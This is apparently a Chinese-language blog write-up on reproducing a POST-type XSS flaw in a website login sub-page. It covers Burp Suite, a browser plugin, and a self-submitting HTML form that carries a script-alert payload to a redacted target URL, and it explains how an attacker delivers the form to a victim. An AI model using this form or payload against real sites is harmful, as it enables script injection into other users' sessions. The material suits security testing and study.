这是个登陆页面
漏洞点位于登陆页面账号输入框需要调用的一个子页面,如下:
首先post型XSS不像get型,get型xss是通过URL构造payload发给对方打开即可,post型xss无法由对方直接打开提交,所以需要本地或云上搭一个web环境,并放上一个html文件,里面写上站点的漏洞点和payload,并将完整的html文件url地址发给对方打开,这样才能触发。
所以本地测试复现可以有下面几个方式:
1、Burpsuite方式
2、浏览器插件方式
3、本地html文件方式
一一说来:
1、Burpsuite工具提交payload方式
后来尝试将请求参数最小化到这些也可以生效
Host和Content-Type: application/x-www-form-urlencoded这两个参数不能少
2、浏览器插件方式
hackbar现在要收费了,可以用maxHackbar,功能一样,加载url,勾选post data,放入payload,execution!!
一个漂亮的弹框~~
3、html文件方式
新建文本文件,复制下面html的源码保存为post.html:
<html> <head> <script> windows.onload = function(){ document.getElementById("postsubmit").click(); } </script> </head> <body> <form method="post" action="https://xxx.com/xxx/xxx.htm"> <input id="无所谓" type="text" name="xxx_x" value= "1<script>alert(/xss/)</script>" /> <input id="postsubmit" type="submit" name="submit" value="submit" /> </form> </body> </html> <!-- post型xss攻击演示 -->
action里放入目标xss漏洞站点url,name参数和value值组合填上,id无所谓
本地打开页面截图
PS:看网上的html文件这里都需要点击,不知道可不可以打开这个页面就自动提交,这里作演示就这样了